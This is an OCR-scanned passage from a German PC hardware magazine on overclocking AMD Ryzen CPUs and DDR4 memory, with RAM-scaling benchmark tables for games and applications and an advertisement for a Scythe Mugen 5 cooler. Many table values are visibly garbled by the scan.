risiko und andere Nebeneffekte 
wie eine erhöhte Leistungsaufnah- 
me und Abwärme zu akzeptieren. 


Wenn für Sie Praxistauglichkeit 
wichtiger als das letzte Quäntchen 
Leistung ist, dann sind etwa 1,40 
Volt mit einer Luft- und rund 1,45 
Volt mit einer Wasserkühlung eine 
sinnvolle Obergrenze für Ryzen- 
Übertakter. Für Freunde hoher 
Energieeffizienz ist eine Kombina- 
tion aus Undervolting und leich- 
tem Overclocking ideal. Für einen 
gründlichen Stabilitätstest können 
wir auf Basis unseres Stresstestver- 
gleichs sowohl Prime95 als auch 
Y-Cruncher mit den in der Tabel- 
le aufgeführten Konfigurationen 
empfehlen. Verzichten Sie aber 
auch nicht auf Spieletests, denn 
eine stark geforderte Grafikkarte 
beansprucht das Netzteil und die 
Gehäusebelüftung ganz anders als 
ein reiner 2D-Test. 


Aufgepasst bei den Kerntemperatu- 
ren: Bei den Modellen 1800X und 
1700X hat AMD den Sensor anders 
kalibriert als beim 1700. Deshalb 
fallen die Werte, welche Ihnen 
das BIOS und auch Progamme wie 
AIDA64, Hwinfo64 oder selbst Ry- 
zen Master von AMD anzeigen, um 
20 Kelvin höher aus. Möglicher- 
weise berücksichtigen kommende 
Versionen von Software-Tools die- 
sen Umstand. Achten Sie am besten 
auf den Temperaturwert, der Ihnen 
im BIOS oder unter Windows im 
Leerlauf angezeigt wird: Liegt die 
Kerntemperatur unter 40 °C, ist der 


Ryzen auf Stabil 


System: Ryzen 7 1700X @ 3.700 MHz, Scythe Rasetsu, Gigabyte GA-AX370-Gaming 5 (BIOS F5c), 2 x 8 GiByte DDR4-2400 (18-17-17-39 2T), Zotac Geforce GT 640; Windows 10 64 Bit, Kernspannung 


Programm | Version Konfiguration 

Cinebench | R15 (64 Bit) Custom Number of Render Threads: 8, 
ein Durchlauf des CPU-Tests 

Linx 0.6.5 14.336 MiB Memory, Problem size: 43297, 64 Bit, icht 

(Linpack 11.13) | 8 Threads, Normal Priority, 4 KiB Data Alignment geteste 

Prime95 28.10 Min FFT size (in K): 8, Max FFT size (in K): 8, Run Nich 
FFTs in-place, Memory to use (in MB): 0, Time to SC 
run each FFT size (in minutes): 15 9 

Ргіте95 28.10 Min FFT size (іп К): 1344, Мах FFT size (іп К): Nich 
1344, Run FFTs in-place, Memory to use (in MB): Я Se 
0, Time to run each FFT size (in minutes): 15 BE 

Y-Cruncher | 0.7.2.9468 Component Stress Tester,Time per Test: 300 Nich 
seconds, N64 geteste 

Y-Cruncher | 0.7.2.9468 Component Stress Tester,Time per Test: 300 Nich 
seconds, HNT geteste! 

Y-Cruncher | 0.7.2.9468 Component Stress Tester, Time per Test: 300 Nich 
seconds, VST getestet 

via AMD Ryzen Master justiert 

Wi Bestanden (Testdauer auf mindestens 30 Minuten begrenzt) Œ Nicht getestet MM Instabilität 


Nicht 
getestet 


Nicht 
getestet 


Bestanden, 
>30 Minuten 


Bestanden, 
>30 Minuten 


Nicht 
getestet 


Nicht Nicht 
getestet getestet 
Bestanden, Nicht 
>30 Minuten | getestet 


Nicht 
getestet 


Nicht Nicht 
getestet getestet 


Bestanden 
>30 Minuten 


Nicht 
getestet gei 


Nicht ` 
getestet 


| Bestanden, 
| >30 Minuten 


Bestanden, 
>30 Minuten | 
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Ryzen: OC & RAM | SPECIAL 


Wiert wahrscheinlich korrekt, bei 
über 50 °C kónnen Sie als Besitzer 
eines Ryzen 1800X oder 1700X ge- 
danklich 20 Kelvin abziehen (oder 
sollten dringend den Anpressdruck 
des Prozessorkühlers überprüfen). 
80 °C sollten Sie unter Volllast nicht 
überschreiten. 


Speicher 

Der Sockel AMÁ ist die erste DDRÁ- 
Plattform von AMD. Offiziell wird 
ein Maximaltakt von DDRÁ-2666 un- 
terstützt, das gilt aber nur für Setups 
mit zwei Modulen. Im schlechtesten 
Fall müssen Sie sich mit DDR4-1866 
begnügen. Die Limits liegen laut 
AMD bei folgenden Taktraten: 


I DDRÁ-1866 mit vier Dual-Rank- 
Modulen 

I DDR4-2133 mit vier Single-Rank- 
Modulen 

I DDRÁ-2400 mit zwei Dual-Rank- 
Modulen 

I DDRÁ-2666 mit zwei Single-Rank- 
Modulen 


Neben der Anzahl der installierten 
Sticks bestimmt also auch der inter- 
ne Aufbau darüber, welche Taktfre- 
quenz innerhalb der Spezifikation 
liegt. Ob ein RAM-Modul single- 
oder dual-ranked ist, geben viele 
Hersteller nicht an, es lásst sich aber 
z. B. mit AIDA64 oder Thaiphoon 
Burner auslesen. DDR4-Riegel mit 
4 GiByte sind stets single-ranked, 
seit über einem Jahr erhältliche 
DDR4-Sticks mit 8 GiByte meistens 
dualranked. Inzwischen kommen 
háufiger 8-GiByte-Module mit Sing- 
le-Rank-Aufbau auf den Markt. Die 
bisher ins Testlabor eingetrudel- 
ten Produkte mit einer Kapazität 
von 16 GiByte pro Stick sind alle 
dual-ranked. Das bedeutet in der 
Praxis: Möchten Sie sich luxuriöse 
64 GiByte gönnen, müssen Sie sich 
offiziell mit DDR4-1866 begnügen. 
Immer noch stattliche 32 GiByte er- 
möglichen bis zu DDR4-2400 (2 x 
16 GiByte), mit vier Modulen fallen 
Sie im schlechtesten Fall aber eben- 
falls auf DDR4-1866-Niveau zurück. 


Die Heatspreader sind verlötet, das Köpfen ist daher schwierig und bringt kaum 


Vorteile. Übertakter der8auer ermittelte luftgekühlt einen Rückgang um 3,5 Kelvin. 


Übertakter halten sich bekannter- 
maßen nicht an Herstellervorga- 
ben und haben daher auch Verwen- 
dung für höhere Multiplikatoren 
(DDR4-2933 und DDR4-3200), die 
im UEFI-Menü des von uns verwen- 
deten X370-Mainboards Asus Cross- 
hair VI Hero zur Verfügung stehen. 
Für Overclocking-Module, etwa mit 


DDR4-3600-Freigabe, ist noch kein 
passender RAM-Multiplikator im- 
plementiert. Grundsätzlich ist das 
Thema RAM-Overclocking noch 
eine Baustelle, für viele Mainboards 
erscheinen in kurzen Abständen 
neue BIOS-Versionen, die Optimie- 
rungen enthalten. AMD selbst will 
nachlegen und ab Mai Einstellmög- 


Bild: der8auer (Video: www.youtube.com/watch ?v=g8zpE4lByTc) 


Speicher-Skalierung in Assassin's Creed: Syndicate 


3.200 MHz Kerntakt, 1.280 x 720, Details „Ultrahoch”, kein Post-Processing 
DDR4-2666, 16-16-16-36, DR od 114,2 (+14 96) 
DDR4-3200, 16-16-16-36, SR Xo 111,3 («11 96) 
DDRA4-2666, 12-12-12-36, SR op s 111,1 6-11 90) 
DDR4-2666, 16-16-16-36, SR Ege 107,3 (+8 96) 
DDR4-2133, 16-16-16-36, SR gg [c 99,8 (Basis) 
4.000 MHz Kerntakt, 1.280 x 720, Details ,,Ultrahoch”, kein Post-Processing 
DDR4-2666, 16-16-16-36, DR gos pu 117,5 (+11 96) 


3.200 MHz Kerntakt, 3.840 x 2.160, Details „Ultrahoch”, kein Post-Processing 
DDR4-2666, 16-16-16-36, DR |a 45,7 (+0 96) 

DDR4-3200, 16-16-16-36, SR aan 45,7 (+0 96) 

DDR4-2666, 16-16-16-36, SR |a 45,6 (+0 96) 

DDR4-2666, 12-12-12-36, SR Ex 45,6 (+0 96) 

DDR4-2133, 16-16-16-36, SR Eu 45,5 (Basis) 

4.000 MHz Kerntakt, 3.840 x 2.160, Details „Ultrahoch”, kein Post-Processing 

ррв4-2666, 16-16-16-36, DR |a 46,0 (+1 96 


(+1 90) 
DDR4-2666, 12-12-12-36, SR 6605188 114,8 (+8 %) DDR4-3200, 16-16-16-36, SR jan 46,0 (+1 96) 
DDR4-3200, 16-16-16-36, SR XXX E 114,6 (+8 90) DDR4-2666, 12-12-12-36, SR Xa] 45,9 («0 96) 
DDR4-2666, 16-16-16-36, SR ü 112,5 (+6 96) DDR4-2666, 16-16-16-36, SR jan 45,8 (+0 96) 
DDR4-2133, 16-16-16-36, SR [csi 106,3 (Basis) DDR4-2133, 16-16-16-36, SR [mnt 45,7 (Basis) 
System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte (SR = single-ranked, DR= dual-ranked), М5! GTX 1080 Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) Minil Ø Fps 
Bemerkungen: Das bloße Übertakten der Kerne bringt wenig, flotter Speicher ist ebenfalls wichtig. Assassin's Creed Syndicate bevorzugt hierbei tendenziell einen Dual-Rank-Aufbau und schnittige Timings. » Besser 


Speicher-Skalierung in Battlefield 1 (Singleplayer-Mission Einflussreiche Freunde/Totaler Krieg) 


3.200 MHz Kerntakt, 1.280 x 720, Details „Ultra”, kein Post-Processing 3.200 MHz Kerntakt, 3.840 x 2.160, Details „Ultra”, kein Post-Processing 


DDR4-3200, 16-16-16-36, SR Tl 184,8 (+16 96) 
DDR4-2666, 16-16-16-36, DR ЛӨ 182,9 (+15 %) 
DDR4-2666, 12-12-12-36, SR N 179,2 (+12 96) 
DDR4-2666, 16-16-16-36, SR 174,1 (+9 %) 
DDR4-2133, 16-16-16-36, SR DEE 159,4 (Basis) 


4.000 MHz Kerntakt, 1.280 x 720, Details Ultra", kein Post-Processing 


DDR4-3200, 16-16-16-36, SR aoo 208,0 (+16 96) 
DDR4-2666, 16-16-16-36, DR gi 207,4 (+16 96) 
DDR4-2666, 12-12-12-36, SR [Xe] 199,5 (+12 96) 
DDRA4-2666, 16-16-16-36, SR aan 191,8 (+7 96) 
DDR4-2133, 16-16-16-36, SR mH 178,7 (Basis) 


DDR4-3200, 16-16-16-36, SR 00i] 103,5 (+4 96) 
DDR4-2666, 12-12-12-36, SR MEMME] 102,5 (+3 96) 
DDR4-2666, 16-16-16-36, DR gi] 101,5 (+2 96) 
DDRA-2666, 16-16-16-36, SR [gi 100,9 (+1 96) 
DDR4-2133, 16-16-16-36, SR gti 100,0 (Basis) 
4.000 MHz Kerntakt, 3.840 x 2.160, Details „Ultra”, kein Post-Processing 


DDR4-3200, 16-16-16-36, SR oi! 103,6 (+3 %) 
DDR4-2666, 12-12-12-36, SR gi] 102,3 (+2 96) 
DDR4-2666, 16-16-16-36, DR gil 101,7 (+2 96) 
DDR4-2666, 16-16-16-36, SR gi] 101,0 (+1 96) 


DDR4-2133, 16-16-16-36, SR Egi 100,3 (Basis) 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte (SR = single-ranked, DR= dual-ranked), MSI GTX 1080 Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) 
Bemerkungen: Für den neuesten Battelfield-Teil ist ein hoher Speichertakt eine gute Tuning-MaBnahme. Sogar im GPU-Limit sind kleine Leistungssteigerungen möglich. 


Mimil Ø Fps 
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lichkeiten für höhere Taktfrequen- 
zen als DDR4-3200 ermöglichen. 
Vielleicht erhalten PC-Nutzer dann 
auch die Möglichkeit, die Com- 
mand Rate im BIOS zu justieren. 
Momentan müssen Sie sich auf die 
automatische Voreinstellung verlas- 
sen, die je nach verwendeten Kom- 
ponenten zu Instabilität oder ein 
wenig verschenkter Leistung füh- 
ren kann. Für unsere OC-Tests mit 
dem Crosshair VI Hero nutzten wir 
das BIOS 1001, das mit zwei Single- 
Rank-Modulen IT einstellt, bei der 
Verwendung von zwei Dual-Rank- 
Sticks aber auf 2T wechselt. 


BCLK-OC mit Tücken 

Wer sich mit maximal DDR4-3200 
aktuell nicht begnügen möchte, 
benötigt ein Mainboard mit einem 
externen Taktgeber, welches das 
Erhöhen des Referenztakts (BCLK) 
erlaubt. Das sind aber nur sehr we- 
nige hochpreisige X370-Modelle, 
außerdem ist BCLK-OC mit einem 
großen Nachteil verbunden: Sie 


verlieren bei stärkeren Anhebun- 
gen die Möglichkeit, Erweiterungs- 
karten mit maximaler Geschwin- 
digkeit anzubinden. Das Crosshair 
VI Hero bindet PCI-Express-3.0- 
Grafikkarten über 105 MHz BCLK 
nur noch mit PCI-E-2.0-Durchsatz 
an, ab 145 MHz schrumpft die 
Transferrate sogar auf PCI-E-1.0-Ni- 
veau. Nachprüfen können Sie dies 
zum Beispiel mit GPU-Z - nutzen 
Sie unbedingt den integrierten 3D- 
Test, da die Anbindung im Leerlauf 
zwecks Stromsparens gedrosselt 
wird. Einem Mainboard-Hersteller 
zufolge soll AMD an einer Mög- 
lichkeit für BCLK-OC arbeiten, für 
die kein externer Taktgeber auf 
dem Mainboard benótigt wird. Im 
besten Fall ist diese Option eben- 
falls im für Mai erwarteten Update 
seitens AMD enthalten, welches 
die Mainboard-Hersteller in ihre 
BIOS-Versionen einpflegen wer- 
den, und beseitigt die Nachteile bei 
der Kommunikation über die PCI- 
Express-Schnittstelle. 


Unsere Tests mit BCLK-OC erge- 
ben, dass für hohe RAM-Taktfre- 
quenzen nicht zwangsläufig der 
höchste RAM-Multiplikator am 
besten ist. DDR4-3600 erzielten 
wir etwa mit dem Standardmul- 
tiplaktor für DDR4-2666 bei 135 
MHz BCLK, nicht über den DDR4- 
3200-Multiplikator. Die Konfigu- 
ration erwies sich allerdings als 
instabil. Womöglich hätten wir da- 
für eine höhere SOC-Spannung als 
1,20 Volt benötigt. Diese mussten 
wir nämlich bereits für den DDR4- 
3200-Betrieb im Zusammenspiel 
mit 4.000 MHz Kerntakt von 1,15 
auf 1,20 Volt erhöhen. Da der Stan- 
dardwert bei 0,85 Volt liegt, war 
unsere Schmerzgrenze allerdings 
bei knapp über 40 Prozent Over- 
volting erreicht. Sofern die RAM- 
Module für den angepeilten Takt 
geeignet sind, ist die SOC-Span- 
nung die wichtigste Stellschraube 
für RAM-Overclocking, kann aber 
potenziell die CPU beschädigen. 
Für den Dauerbetrieb rät Asus 


Übertaktern mit einer Luft- oder 
Wasserkühlung, sich auf 1,15 Volt 
zu beschränken. Bei manchen Ry- 
zen-Systemen lassen sich Frequenz- 
löcher beobachten, in denen kein 
zuverlässiger Start möglich ist. Der 
Bereich kann von etwa DDR4-3350 
bis DDR4-3600 reichen. Wenn der 
Start beispielsweise bei DDR4- 
3400 nicht möglich ist, kann er also 
trotzdem bei DDR4-3600 gelingen. 
Hier hilft nur Ausprobieren. 


Benchmark-Praxis 

Als Optimum für RAM-Over- 
clocking gelten aktuell Sticks mit 
bestimmten Samsung-Chips („B- 
Die“), die typischerweise auf 8-Gi- 
Byte-Modulen verbaut sind, die für 
DDR4-3200/CL14 und Taktraten ab 
DDR4-3600 freigegeben sind. Die- 
se Module sind single-ranked (SR) 
und damit in der Praxis langsamer 
als Dual-Rank-Module (DR) mit glei- 
chen Eckdaten. Zum Vergleich las- 
sen wir daher in den Benchmarks 
ein Kit mit ebenfalls von Samsung 


Speicher-Skalierung in Hitman 


3.200 MHz Kerntakt, 1.280 x 720, max. Details, kein AA/SSAO 

DDR4-2666, 16-16-16-36, DR ЙД 75,6 (4-17 %) 
DDR4-3200, 16-16-16-36, SR 75,4 (+17 90) 
DDR4-2666, 12-12-12-36, SR 5608 73,8 (+15 96) 
DDR4-2666, 16-16-16-36, SR БЛ! 70,9 (+10 96) 
DDR4-2133, 16-16-16-36, SR 561 64,4 (Basis) 
4.000 MHz Kerntakt, 1.280 x 720, max. Details, kein AA/SSAO 


DDR4-2666, 16-16-16-36, DR ig 82,9 (4-18 96) 
DDR4-3200, 16-16-16-36, SR n li 82,6 (+18 96) 
DDR4-2666, 12-12-12-36, SR [ens 80,7 (+15 96) 
DDRA-2666, 16-16-16-36, SR ga 77,1 (+10 96) 
DDR4-2133, 16-16-16-36, SR ШС 70,2 (Basis) 


3.200 MHz Kerntakt, 3.840 x 2.160, max. Details, kein AA/SSAO 
DDR4-2666, 16-16-16-36, DR ES 56,5 (+1 96) 
DDRA4-3200, 16-16-16-36, SR [X 56,3 (+1 96) 
DDR4-2666, 12-12-12-36, SR ag ШЕШ 56,1 (4-1 96) 
DDR4-2666, 16-16-16-36, SR agi 55,9 (+0 96) 
DDR4-2133, 16-16-16-36, SR AI EN 55,8 (Basis) 

4.000 MHz Kerntakt, 3.840 x 2.160, max. Details, kein AA/SSAO 
DDR4-2666, 16-16-16-36, DR SE 56,5 (+1 96) 
DDR4-3200, 16-16-16-36, SR ES 56,4 (+1 96) 
DDR4-2666, 12-12-12-36, SR EEE 56,3 (+1 96) 
DDR4-2666, 16-16-16-36, SR ES 56,0 (+0 96) 
DDR4-2133, 16-16-16-36, SR AI ШШ 55,8 (Basis) 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte (SR = single-ranked, DR= dual-ranked), MSI GTX 1080 Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) 
Bemerkungen: Nicht ein möglichst hoher RAM-Takt oder scharfe Timings, sondern die zusätzlichen Ranks machen das Rennen. 


МІП В Ø Fps 


» Besser 


Speicher-Skalierung in The Witcher 3 


3.200 MHz Kerntakt, 1.280 x 720, max. Details, kein Post-Processing 


DDR4-2666, 16-16-16-36, DR ti 106,7 (+20 96) 
DDR4-3200, 16-16-16-36, SR W 106,3 (+20 %) 
DDR4-2666, 12-12-12-36, SR gg 103,2 (+16 96) 
DDR4-2666, 16-16-16-36, SR XXe 8 100,3 (+13 96) 
DDR4-2133, 16-16-16-36, SR gH 88,7 (Basis) 

4.000 MHz Kerntakt, 1.280 x 720, max. Details, kein Post-Processing 


DDR4-3200, 16-16-16-36, SR Emu 116,4 (-21 96) 
DDR4-2666, 16-16-16-36, DR 116,1 (+21 %) 
DDRA-2666, 12-12-12-36, SR gg 112,3 (+17 96) 
DDRA-2666, 16-16-16-36, SR oon 105,7 (+10 90) 
DDR4-2133, 16-16-16-36, SR ВЕ 96,3 (Basis) 


3.200 MHz Kerntakt, 3.840 x 2.160, max. Details, kein Post-Processing 


DDR4-3200, 16-16-16-36, SR ШЕ 65,8 (+1 96 
DDR4-2666, 16-16-16-36, DR ВО 65,6 (+1 96 
DDR4-2666, 12-12-12-36, SR ett 65,6 (+1 96 
DDR4-2666, 16-16-16-36, SR ВЕС 65,5 (+1 96 
DDR4-2133, 16-16-16-36, SR ceo 65,0 (Basis) 

4.000 MHz Kerntakt, 3.840 x 2.160, max. Details, kein Post-Processing 


DDR4-3200, 16-16-16-36, SR EEE 65,8 (+1 96) 
DDR4-2666, 12-12-12-36, SR EEE 65,6 (+1 %) 
DDR4-2666, 16-16-16-36, DR EB 65,5 (+0 %) 
DDR4-2666, 16-16-16-36, SR EN 65,4 (+0 %) 
DDR4-2133, 16-16-16-36, SR ME 65,2 (Basis) 


) 
) 
) 
) 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte (SR = single-ranked, DR= dual-ranked), MSI GTX 1080 Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) 
Bemerkungen: The Witcher 3 profitiert (wie schon auf Intel-Systemen) abseits des GPU-Limits stärker als viele andere Spiele von schnellem Speicher. Dual Rank gleicht den Taktnachteil effektiv aus. 


Mimil Ø Fps 
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* Testsystem: Xeon E5-2687W (150 W TDP), Gigabyte X79-UD7, Core Damage (100 Prozent Last) 


ANZEIGE 


Scythe Mugen 


PCGH-Edition 


Seit dem Mugen 2 gibt es den 
Kühler mit zwei statt nur einem 
Lüfter als PCGH-Edition — und 
diese Tradition wird mit dem 
neuen Mugen 5 fortgesetzt. 


Info: Den Mugen 5 gibt es auch als PCGH-Edition mit zwei anstatt einem Lüfter. 


VERGLEICH 


Modellnummer 


SCMG-5PCGH 


2 = z 
Produkt Scythe Mugen 5 Scythe Mugen 5 
PCGH-Edition Standard-Edition 


SCMG-5000 


Webseite www.pcgh.de/mugen5 www.scythe-eu.com 
Lüfteranzahl 2 x 120-mm-Lüfter 1x 120-mm-Lüfter 
Lüfterdrehzahl 800 U/min 1.100 U/min 
Lüfterfarbe schwarz grau/schwarz 


Abmessungen Lüfter 


120 mm x 120 mm x 25 mm 


120 mm x 120 mm x 25 mm 


Anschluss 


4-Pol-Stecker (PWM) 


4-Pol-Stecker (PWM) 


Lüfterentkoppler 


vormontiert 


vormontiert 


Wärmeleitpaste 


Wärmeleitpaste 


Zubehör 


Sockelunterstützung AMD 


AM2(+), AM3(+), АМА, 
FM1, FM2(+) 


АМ2(+), AM3(+), 
FM1, FM2(+) 


Sockelunterstützung Intel 


775, 1150, 1151, 1155, 1156, 
1366, 2011-v3 


715, 1150, 1151, 1155, 1156, 
1366, 2011-v3 


MaBe (B x T x H) 130x 131x 154 mm 130 x 109 x 154 mm 
Gewicht inkl. Lüfter 1.035g 897g 
Haltemechanismus Verschraubung Verschraubung 
Test-Spannung 12 Volt 12 Volt 
Lautheit (Sone) 0,5 m 0,3 Sone 0,8 Sone 
Schalldruck (dB(A)) 0,5 m 23 dB(A) 28 dB(A) 
CPU-Temperatur Core 1/2* 53,0 °C/54,3 °C 53,2 °C/53,8 °C 
CPU-Temperatur Core 3/4* 52,4 °C/48,0 °C 52,5 *C/47,9 °C 


CPU-Temperatur Core 5/6* 


52,6 °C/51,5 °C 


52,5 °C/51,7 °C 


CPU-Temperatur Core 7/8* 


55,0 °C/51,8 °C 


55,1 °C/51,7 °С 


© Lüfter immer leise 
© AM4-Unterstützung 
© Hohes Gewicht 


© Sehr gute Kühlung 
© Stabile Verschraubung 
© Nur ein Lüfter (28 dB(A)) 


PCGH-Edition 


Mehr Infos unter: www.pcgh.de/mugen5 
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ine sehr hohe Kühlleistung bei einem sehr niedrigen Geräuschpe- 
ES zeichnet den Scythe Mugen 5 PCGH-Edition aus. Während die 
Standardversion einen Lüfter mit 1.100 U/min nutzt, setzen wir bei der 
PCGH-Edition auf zwei Lüfter mit jeweils 800 U/min. Dadurch reduziert 
sich die Lautheit von 0,8 Sone auf 0,3 Sone, ohne dass die Kühlleistung 
verschlechtert wird. Die Durchschnittstemperatur der acht Kerne bei unse- 
rer Test-CPU (Xeon E5-2687W mit 150 W TDP) liegt bei jeweils 52,3 Grad 
Celsius. Auch beim Design gibt es eine 
kleine Änderung, denn der PCGH-Lüfter 
ist komplett schwarz, während die Stan- 
dardversion über ein graues Lüfterblatt 
und graue Gummientkoppler verfügt. Da 
die PCGH-Edition etwas später auf den 
Markt gekommen ist als das Original- 
produkt, wird bereits AMDs neuer Sockel 
AMA unterstützt. Fazit: tolle Kühlleistung, 
(dw) 


leise und AM4-kompatibel. 
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stammenden E-Die-Chips antre- 
ten, dessen 8-GiByte-Module aller- 
dings dual-ranked organisiert sind. 
Wie Sie den Ergebnissen entneh- 
men können, lässt die Dual-Rank- 
Konfiguration das Single-Rank- 
Duo bei gleicher Taktfrequenz 
(DDR4-2666) stehen und liegt in 


Spielen sogar auf Augenhöhe mit 
der deutlich schnelleren DDR4- 
3200-Einstellung, die wir mit den 
Dual-Rank-Sticks leider nicht nach- 
stellen konnten: Die Module sind 
für diesen Takt zwar freigegeben, 
das System ließ sich aber nicht zur 
Zusammenarbeit überreden. 


AIDA64: Kopierrate 


3.200 MHz Kerntakt, v5.80.4093 (Bench-DLL 4.3.718-x64) 


4.000 MHz Kerntakt, v5.80.4093 (Bench-DLL 4.3.718-x64) 


DDR4-3200, 16-16-16-36, SR | 47,8 (+44,9 96) 
DDRA-2666, 16-16-16-36, DR En 41,4 (425,5 %) 
DDR4-2666, 12-12-12-36, SR Eu 41,2 (24,9 %) 
DDR4-2666, 16-16-16-36, SR 8 40,8 (23,6 96) 
DDR4-2133, 16-16-16-36, SR EX 33,0 (Basis) 


DDR4-3200, 16-16-16-36, SR s 47 8 (+44,9 96) 
DDR4-2666, 16-16-16-36, DR E 41,6 (+26,1 96) 
DDR4-2666, 12-12-12-36, SR | 41,4 (225,5 96) 
DDR4-2666, 16-16-16-36, SR 8 41,0 (24,2 96) 
DDR4-2133, 16-16-16-36, SR XXX 33,0 (Basis) 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte, MSI GTX 
1080 Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: 
Die Taktfrequenz ist das entscheidende Kriterium, Timing-Optimierung hilft nur geringfügig. 


GB/s 
» Besser 


Unsere Ergebnisse bestätigen da- 
mit zwar, dass Single-Rank-RAM 
mit einem Ryzen-System leichter 
zu übertakten ist, allerdings sollte 
das Besitzer von Dual-Rank-Spei- 
cher keinesfalls beunruhigen: Sie 
erhalten dank RankInterleaving 
bei gleichem Takt eine höhere Leis- 
tung. Die Ergebnisse sprechen au- 
ßerdem gegen die Annahme, dass 
die interne Verdrahtung der Ryzen- 
CPUs ursáchlich für die schwache 
Leistung in manchen Spielen ist. 
Bei Ryzen laufen nämlich angeblich 
Speicher, Speichercontroller und 
Data Fabric über die gleiche Takt- 
domine, das bloße Anheben des 
RAM-Takts sollte einen etwaigen 
Flaschenhals also weiten. Weder in 
Anwendungen noch in Spielen fal- 
len uns durch RAM-OC aber unge- 
wóhnliche Leistungssteigerungen 
ins Auge; das bloße Anheben des 
RAM-Takts ist kein Allheilmittel, 
die DDR4-2666-Konfiguration mit 
verschärften Timings ist wie das 
Dual-Rank-Kit sowohl in Spielen als 


auch Anwendungen stets konkur- 
renzfähig. 


Praxis: Crosshair VI Hero 

Wie bereits erwähnt, tüfteln AMD 
und die Mainboard-Hersteller 
momentan noch an den Tuning- 
Eigenschaften der Plattform. Gera- 
de Übertakter sollten daher in den 
kommenden Wochen Ausschau 
nach neuen BIOS-Versionen halten. 
Das von uns genutzte Crosshair VI 
Hero funktionierte grundsätzlich 
ordentlich und bietet eine gute 
OC-Ausstattung wie den externen 
Taktgeber für BCLK-OC, ein paar 
Stolpersteine gibt es allerdings: 
Bei zu aggressiv vorgenommenen 
Einstellungen verweigerte es ge- 
legentlich, aber konsequent den 
Start, obwohl die Optionen ,Safe 
Boot“, aber auch der „Retry Button“ 
bei RAM-Tests auf Intel-Systemen in 
solchen Fällen zuverlässig funktio- 
nieren. Die umständliche Lösung: 
Netzteil ausschalten, Batterie raus 
und warten bis zum nächsten Ver- 


AIDA64: Zugriffszeit 


Blender: Rendering 


3.200 MHz Kerntakt, v5.80.4093 (Bench-DLL 4.3.718-x64) 


4.000 MHz Kerntakt, v5.80.4093 (Bench-DLL 4.3.718-x64) 


DDR4-2666, 12-12-12-36, SR a 79,0 (-21 %) 
DDR4-3200, 16-16-16-36, SR 8 76,6 (-20 96) 
DDR4-2666, 16-16-16-36, SR = 90,8 (-9 90) 
DDR4-2666, 16-16-16-36, DR == 92,3 (-8 96) 
DDR4-2133, 16-16-16-36, SR = 100,0 (Basis) 


DDRA-3200, 16-16-16-36, SR | 76,4 (-24 96) 
DDRA-2666, 12-12-12-36, SR | 76,6 (-23 96) 
DDR4-2666, 16-16-16-36, DR | 82,1 (-18 96) 
DDR4-2666, 16-16-16-36, SR XX 84,9 (-15 %) 
DDR4-2133, 16-16-16-36, SR 8 100,0 (Basis) 


3.200 MHz Kerntakt, v2.76, 16 Threads, Static BVH, 960 x 544, BHW27 PCGH 


4.000 MHz Kerntakt, v2.76, 16 Threads, Static BVH, 960 x 544, BMW27 PCGH 


DDR4-2666, 12-12-12-36, SR = 143 (2 %) 
DDR4-3200, 16-16-16-36, SR =a 143 (2 %) 
DDR4-2666, 16-16-16-36, SR Em 144 (1 90) 
DDR4-2666, 16-16-16-36, DR Em 144 (-1 90) 
DDR4-2133, 16-16-16-36, SR 146 (Basis) 


DDR4-3200, 16-16-16-36, SR | 131 (-2 %) 
DDR4-2666, 16-16-16-36, SR mamalla 132 (-1 %) 
DDR4-2666, 16-16-16-36, DR s 132 (-1 %) 
DDR4-2666, 12-12-12-36, SR E 132 (-1 96) 

DDR4-2133, 16-16-16-36, SR EX 133 (Basis) 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte, MSI GTX 1080 


Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Die Zu- 
griffszeiten sind vergleichsweise hoch — ob's nur an der fehlenden Ryzen-Optimierung liegt? 


Nanosek. 
< Besser 


System: Ryzen 7 1700X, Asus Crosshair VI Hero (BIOS 1001), 2 x 8 GiByte, MSI GTX 


Sekunden 


1080 Gaming X 8G; Windows 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: 
Blender práferiert CPU-Leistung, die RAM-Geschwindigkeit spielt praktisch keine Rolle. 


< Besser 


7-Zip: Ca. 3 GB komprimieren und verschlüsseln 


x264: Ultra-HD-Video umwandeln 


3.200 MHz Kerntakt, LZMA2-Kompression (Stárke: Ultra), AES256-verschlüsselt 


4.000 MHz Kerntakt, LZMA2-Kompression (Stärke: Ultra), AES256-verschlüsselt 


DDR4-2666, 16-16-16-36, DR Eu 208 (-15 96) 
DDR4-2666, 12-12-12-36, SR Eu 221 (-10 96) 
DDR4-3200, 16-16-16-36, SR Eu 223 (-9 96) 
DDR4-2666, 16-16-16-36, SR m 232 (-6 96) 
DDR4-2133, 16-16-16-36, SR E 246 (Basis) 


DDR4-2666, 16-16-16-36, DR Eu 195 (-17 96) 
DDR4-2666, 12-12-12-36, SR 668 218 (7 %) 
DDR4-3200, 16-16-16-36, SR 8 221 (-6 96) 
DDR4-2666, 16-16-16-36, SR Eu 223 (-5 96) 
DDR4-2133, 16-16-16-36, SR Eu 235 (Basis) 


3.200 MHz Kerntakt, r2762-10b 64 Bit, Multi-Threading 


4.000 MHz Kerntakt, r2762-10b 64 Bit, Multi-Threading 


DDR4-3200, 16-16-16-36, SR EX 4,65 (+3 %) 
DDR4-2666, 16-16-16-36, DR 8 4,63 (+2 96) 
DDR4-2666, 12-12-12-36, SR 88 4,62 (+2 9) 
DDR4-2666, 16-16-16-36, SR m 4,58 (+1 96) 
DDR4-2133, 16-16-16-36, SR m 4,52 (Basis) 


DDR4-2666, 16-16-16-36, DR = 5,68 (+3 90) 
DDR4-3200, 16-16-16-36, SR EX 5,67 (+3 96) 
